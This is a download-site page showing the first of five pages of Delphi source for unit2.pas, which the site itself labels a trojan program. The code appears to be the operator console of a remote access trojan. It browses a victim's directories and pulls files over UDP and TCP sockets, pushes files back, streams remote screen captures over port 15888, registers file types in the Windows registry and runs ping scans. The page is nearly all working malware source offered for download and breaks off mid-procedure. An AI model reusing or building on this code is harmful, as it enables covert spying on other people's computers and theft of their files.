⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit2.pas

📁 这是一款木马程序
💻 PAS
📖 第 1 页 / 共 5 页
字号:
  UDPReceiveFileStream:TMemoryStream;
  SelectDir:String;
  MonitorState:Boolean;
implementation

uses
  PingThread, PingThread2, Unit3, Unit4, HSearch;

var
  iFileLen:integer;
  PingPort2:array[1..2048] of PingIP2;
{$R *.DFM}


procedure RegisterFileType(cMyExt, cMyFileType, cMyDescription, ExeName: string; IcoIndex: integer; DoUpdate: boolean = false);
var
   Reg: TRegistry;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CLASSES_ROOT;
    Reg.OpenKey(cMyExt,True);
    Reg.WriteString('', cMyFileType);
    Reg.CloseKey;
    Reg.OpenKey(cMyFileType, True);
    Reg.WriteString('', cMyDescription);
    Reg.CloseKey;
    Reg.OpenKey(cMyFileType + '\DefaultIcon', True);
    Reg.WriteString('', ExeName + ',' + IntToStr(IcoIndex));
    Reg.CloseKey;
    Reg.OpenKey(cMyFileType + '\Shell\Open', True);
    Reg.WriteString('', '&Open');
    Reg.CloseKey;
    Reg.OpenKey(cMyFileType + '\Shell\Open\Command', True);
    Reg.WriteString('', '"' + ExeName + '" "%1"');
    Reg.CloseKey;
  finally
    Reg.Free;
  end;
end;
procedure TForm2.FormCreate(Sender: TObject);
Var
   WSAData:TWSAData;
   hICMPdll:HMODULE;
   wVersionRequested:Word;
   SystemDir : array[0..255] of Char;
begin
  AgentStream:=TmemoryStream.Create;
  GFileDirStream:=TmemoryStream.Create;
  XoRBmp:=TBitmap.Create;
  XoRJPG:=TJPEGImage.Create;
  
  image1.Top:=1;
  Image1.Left:=1;
  RecNo:=1;
  
  Application.HintPause:=500;
  Application.HintHidePause:=3000;
  Application.Title:='DELPHI爱好者';
  wVersionRequested:=MAKEWORD(2,0);
   if WSAStartup(wVersionRequested,WSAdata)=0 then
  begin

   hICMPdll:=LoadLibrary('icmp.dll');
   @ICMPCreateFile:=GetProcAddress(hICMPdll,'IcmpCreateFile');
   @IcmpCloseHandle:=GetProcAddress(hICMPdll,'IcmpCloseHandle');
   @IcmpSendEcho:=GetProcAddress(hICMPdll,'IcmpSendEcho');

   hICMP:=IcmpCreateFile;

   end;
  PingTestStr:='%测试报文-->%';

  GetSystemDirectory(@SystemDir,255);

  GMStream:=TMemoryStream.Create;
  GSaveStream:=TMemoryStream.Create;

  UDPReceiveFileStream:=TMemoryStream.Create; 

end;
procedure TForm2.CheckListBox3DblClick(Sender: TObject);
var
 s:PChar;
 iPos:integer;
 m:array[1..255] of char;
begin
  iPos:=Pos('=',ClickIP);
  if iPos<>0 then
  begin
   strLcopy(@m,PChar(ClickIP),iPos-1);
   s:=@m;
   ShellExecute(Application.Handle,nil,'iexplore.exe',s,nil, SW_MAXIMIZE);
  end;
  if iPos=0 then
  begin
   s:=PChar(ClickIP);
   ShellExecute(Application.Handle,nil,'iexplore.exe',s,nil, SW_MAXIMIZE);
  end;
end;
procedure TForm2.Label8Click(Sender: TObject);
begin
  Form2.Visible:=False;
  MyPing.ShowModal;
end;
procedure TForm2.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  OutLine1.Lines.Text:=Socket.ReceiveText;
end;

procedure TForm2.Outline1MouseUp(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
   if OutLine1.Lines.Count>0 then
      ComboBox1.Text:=OutLine1.Lines[OutLine1.SelectedItem-1];
end;

procedure TForm2.NMUDP1DataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
Var
  AStream:TStringStream;
  LLen2:Integer;
  InnerStr:String;
begin
  AStream:=TStringStream.Create('');
  NMUDP1.ReadStream(AStream);
  OutLine1.Lines.Clear;
  OutLine1.Lines.LoadFromStream(AStream);
  if OutLine1.Lines.Count>=2 then
  begin
       LLen2:=Length(OutLine1.Lines[1]);
       if LLen2>0 then
       begin
         InnerStr:=OutLine1.Lines[1];
          if InnerStr[LLen2]='.' then
                 OutLine1.Lines.Delete(1);
       end;
       LLen2:=Length(OutLine1.Lines[0]);
       if LLen2>0 then
       begin
         InnerStr:=OutLine1.Lines[0];
          if InnerStr[LLen2]='.' then
                 OutLine1.Lines.Delete(0);
       end;
       if OutLine1.Lines.Count=0 then
       begin
            OutLine1.Lines.Add('提示:返回上一级目录');
            OutLine1.Enabled:=False;
       end;
    end;

end;

procedure TForm2.ClientSocket4Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
Socket.SendText(IntToStr(TCPIndex));
end;

procedure TForm2.CUDP1DataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
Var
  DataStream:TStringStream;
begin
  DataStream:=TStringStream.Create('');
  CUDP1.ReadStream(DataStream);
  try
   DataStream.Free;
  except
  end
end;


procedure TForm2.Outline2MouseUp(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
Var
  Separator,LengthStr:String;
begin
 if  BitBtn3.Enabled=True then
  if OutLine2.Lines.Count>0 then
  Begin
   if Copy(SelectDir,Length(SelectDir),1)='\' then
      Separator := ''  else Separator := '\';
    ComboBox1.Text:=SelectDir+Separator+OutLine2.lines.Names[OutLine2.SelectedItem-1];
    LengthStr:=
        OutLine2.lines.Values[OutLine2.lines.Names[OutLine2.SelectedItem-1]];
    LengthStr:=Copy(LengthStr,1,Length(LengthStr)-4);
    Gauge1.MaxValue:=100;
    Gauge1.MinValue:=0;
    Label18.caption:='当前文件:'+LengthStr+'字节';
    try
     iFileLen:=StrToInt(LengthStr);
    except
     Label18.caption:='错误:长度字节!';
    end;
   end;
  BitBtn3.Enabled:=True;
end;

procedure TForm2.CUDP2DataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
Var
  DataStream:TStringStream;
  DataStreamF:TmemoryStream;
  FileDir,FileNm,FileNme:String;

begin
  GMStream.Clear;

  DataStream:=TStringStream.Create('');
  DataStreamF:=TMemoryStream.Create;
  CUDP2.ReadStream(DataStream);
  try
    FileNme:=FileDir+'\'+FileNm;
   if FileExists(FileNme) then DataStreamF.LoadFromFile(FileNme)
   else
   begin
     FileNme:=FileDir+FileNm;
     if FileExists(FileNme) then DataStreamF.LoadFromFile(FileNme);
   end;

   if DataStreamF<>nil then
   Begin
    CSocket1.Close;
    GMStream:=DataStreamF;
    CSocket1.Open;

    Label12.Caption:=IntToStr(GMStream.Size);
   end else Form2.Caption:='Read File fail';

   except
  DataStream.Free;
  end
end;

procedure TForm2.SSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
 {R-}
const
    BufSize=8192;
Var
  Buffer1:Array[1..BufSize] of char;
  readLength:integer;
begin
   BitBtn3.Enabled:=False;
   readLength:=Socket.ReceiveBuf(Buffer1,BufSize);
   if readLength<>-1 then
        GSaveStream.WriteBuffer(Buffer1,readLength);
   Label11.Caption:='下载文件:'+IntToStr(GSaveStream.Size)+'字节';
   try
     Gauge1.Progress:=((GSaveStream.Size*100) div iFileLen);
   except
   end;
   if GSaveStream.Size>=iFileLen then
   begin
      BitBtn3.Enabled:=True;
      Socket.Close;
      Label18.Caption:='文件下载完毕!';
      SaveDialog1.FileName:=ExtractFileName(ComboBox1.Text)
           +ExtractFileExt(ComboBox1.Text);
      if SaveDialog1.Execute then
           GSaveStream.SaveToFile(SaveDialog1.FileName);
      if SpeedButton75.Down then
        ShellExecute(Application.Handle, 'OPEN',
               PChar(SaveDialog1.FileName),'','', SW_SHOWNORMAL);
   end;
 {R+}
end;

procedure TForm2.CSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
Const
   SendBuffsize=2048;
Var
  BuffRead:Array[1..SendBuffsize] of char;
  ReadSize,i,SendStat:Integer;
  SendSize:LongInt;
begin
      GMStream.Position:=0;i:=0;SendSize:=0;
      Repeat
       i:=I+1;
       ReadSize:=GMStream.Read(BuffRead,SendBuffsize);
       SendSize:=SendSize+ReadSize;
         Repeat
            SendStat:=Socket.SendBuf(BuffRead,ReadSize);
            Application.ProcessMessages;
         until SendStat<>-1;

      Form2.Caption:='Send File OK:  '+IntToStr(i)+' Times---:'
                +IntToStr(SendSize)+' Byte';
      Until (ReadSize<SendBuffsize) or (SendSize=GMStream.Size)
end;

var
  SendState:integer;
procedure TForm2.BitBtn2Click(Sender: TObject);
begin
  RecNo:=1;
  FirstFrame:=True;
  if SpeedButton30.Down then
     SendcommandStr1:='FAST' else
     SendcommandStr1:='FULL';
  SendcommandStr2:=MaskEdit7.Text;
  SendcommandStr:=SendCommandStr1+SendcommandStr2; 
  Image1.AutoSize:=True;

  //SendcommandStr:='Begin Monitor!';
  MonitorCSocket1.Host:=MaskEdit1.Text;
  MonitorCSocket1.Port:=15888;
  MonitorCSocket1.Address:=MaskEdit1.Text;
  MonitorCSocket1.ClientType:=ctNonBlocking;
  MonitorCSocket1.Active:=True;
  BitBtn2.Enabled:=False;
end;
{$R-}
procedure TForm2.MonitorCSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
{$R-}
const
    BufSize=10240;
Var
  Buffer1:Array[1..BufSize] of char;
  readLength,sd:integer;
begin

    if RecNo=1 then
    begin
      ReceivSize:=0;
      GSaveStream.Clear;
    end;  
    readLength:=Socket.ReceiveBuf(Buffer1,BufSize);
    if readLength<>-1 then
    begin
      ReceivSize:=ReceivSize+readLength;
      GSaveStream.WriteBuffer(Buffer1,readLength);
      GSaveStream.Position:=GSaveStream.Size;
      RecNo:=2;
    end;     

    if GSaveStream.Size>=4 then
      begin
       GSaveStream.Position:=0;
       GSaveStream.Read(NewRAB,4);
       NewRLen:=Longint(NewRAB);
       GSaveStream.Position:=GSaveStream.Size;
      end;

     BitBtn2.Enabled:=False;
     MaskEdit7.Enabled:=BitBtn2.Enabled;
     MaskEdit1.Enabled:=BitBtn2.Enabled;

     Label8.Caption:='已传输:'+IntToStr(GSaveStream.Size)+'字节';
     Gauge4.MinValue:=0;
     Gauge4.MaxValue:=100;
     if NewRLen<>0 then
       Gauge4.Progress:=(GsaveStream.size*100) div NewRLen
       else  Label8.Caption:='!无效字节长度!';

 //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 if (GSaveStream.Size>=NewRLen) then
    begin
        Gauge4.Progress:=100;
        FileID:=FileID+1;

        if (GSaveStream.Size<>NewRLen) then
         Begin
            Label8.Caption:='数据长度不匹配!';
            Gauge4.Progress:=0;
            GSaveStream.Clear;
            RecNo:=1;
           if SpeedButton30.Down then
             SendcommandStr1:='FAST' else
             SendcommandStr1:='FULL';
             SendcommandStr2:=MaskEdit7.Text;
             SendcommandStr:=SendCommandStr1+SendcommandStr2;
             repeat
               SD:=Socket.SendText(SendcommandStr);
               Application.ProcessMessages;
             until SD=0;
             ReceivSize:=0;
             exit;
         end;
      //===============================================================
      if (SpeedButton5.Down=True) then
       begin
          Socket.SendText('Stop it!');
          Socket.Close; 
       end else
       Begin
        SendcommandStr1:='GOON';
        SendcommandStr2:=MaskEdit7.Text;
        SendcommandStr:=SendCommandStr1+SendcommandStr2;
        repeat
          SD:=Socket.SendText(SendcommandStr);
          Application.ProcessMessages;
        until SD<>0;
       end;
     //===============================================================
         RecNo:=1;
         Label8.Caption:='显示数据图像... .';
         Gauge4.Progress:=100;

         GSaveStream.Position:=4;
         Try
            XoRJPG.LoadFromStream(GSaveStream);
         except
            socket.Close;
            RecNo:=1;
            exit;
         end;
      try
          XoRRect.Top:=0;
          XoRRect.Left:=0;
          XoRRect.Right:=XoRJPG.Width;
          XoRRect.Bottom:=XoRJPG.Height;

          XoRBmp.Width:=XoRJPG.Width;
          XoRBmp.Height:=XoRJPG.Height;
          XoRBmp.Canvas.Draw(0,0,XoRJPG);

          Image1.Width:=XoRJPG.Width;
          Image1.Height:=XoRJPG.Height;

        if (SendcommandStr1='FULL') or
             (SendcommandStr1='FAST') then
                 FirstFrame:=True;

         if (FirstFrame=False) and (SpeedButton30.Down=True) then
         begin
           try
             Image1.Picture.Bitmap.Canvas.CopyMode:=cmSrcInvert;
             Image1.Picture.Bitmap.Canvas.CopyRect(XoRRect,
                                     XoRBmp.canvas,XoRRect);
           except

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -